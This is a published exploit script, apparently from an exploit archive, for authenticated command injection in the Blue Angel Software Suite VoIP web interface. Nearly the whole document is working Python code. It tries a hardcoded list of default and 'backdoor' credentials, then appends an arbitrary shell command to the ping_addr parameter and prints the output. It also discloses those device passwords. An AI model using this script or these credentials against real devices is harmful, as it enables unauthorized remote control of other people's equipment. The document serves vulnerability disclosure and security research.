Blue Angel Software Suite - Command Execution

# Exploit Title: Blue Angel Software Suite - Authenticated Command Execution
# Google Dork: N/A
# Date: 02/05/2019
# Exploit Author: Paolo Serracino 
# Vendor Homepage: http://www.5vtechnologies.com
# Software Link: N/A
# Version: All
# Tested on: Embedded Linux OS
# CVE : N/A
# Description: Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services is vulnerable to an authenticated 
# command execution in ping command. All default accounts can be used to login and achieve command execution, including the guest one. 
# Moreover there's another account, defined in the local file device.dat, that provides an apparently "backdoor" account.
# A list of these accounts is hardcoded in the script.

#/usr/bin/python
import sys
import requests


def check_sw(target,port):

  res = requests.get(target + ':' + port)

  if '/cgi-bin/webctrl.cgi?action=index_page' in res.text:
     return True
  else:
     print "[-] DOES NOT LOOK LIKE THE PAGE WE'RE LOOKING FOR"
     return False

def check_login(target,port,command):

   if not check_sw(target,port):
      sys.exit()

   creds_common = [('blueangel','blueangel'), #the "backdoor" account
                   ('root','abnareum10'),
                   ('root','Admin@tbroad'),
                   ('root','superuser'),
                   ('user','user') ,
                   ('guest','guest'),
                   ]
 
   for i in range(len(creds_common)):
      postdata=[('action','login_authentication'),
               ('redirect_action','sysinfo_page'),
               ('login_username',creds_common[i][0]),
               ('login_password',creds_common[i][1]),
               ('B1','Login')
               ]

      res = requests.post(target + ':' + port + '/cgi-bin/webctrl.cgi',data=postdata)

      if 'Set-Cookie' in res.headers:
         cookie = res.headers.get('Set-Cookie')
         print '[+] LOGGED IN WITH CREDENTIALS  ' + str(creds_common[i][0] + ' : ' + creds_common[i][1]) 
         execute_cmd(target,port,cookie,command)  
         return True


def execute_cmd(target,port,cookie,cmd):

   print '[+] EXECUTING COMMAND'
   new_headers = ({'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
                 'Referer': target,
                 'Cookie': cookie
                })
   res = requests.get(target + ':' + port + '/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;' + cmd + '&B1=PING',headers=new_headers)
   res_lines = res.text.splitlines()
   result = []
   copy = False

   for line in res_lines:

      if 'round-trip min/avg/max' in line:
         copy = True
      elif '</pre></body></html>' in line: 
         copy = False
      elif copy == True:
         result.append(line)

   print('[+] COMMAND RESPONSE')
   print('------------------------------------------')

   for r in result:
      print r
   print('------------------------------------------')


def main():

   if len(sys.argv) < 4:
      print '[-] 3 ARGS: TARGET PORT SHELL_COMMAND'
      sys.exit()
   
   target = sys.argv[1]   
   port = sys.argv[2]
   command = sys.argv[3]
   if not check_login(target,port,command):
      print '[-] COULD NOT FIND VALID CREDENTIALS'
      
if __name__ == "__main__":
    main()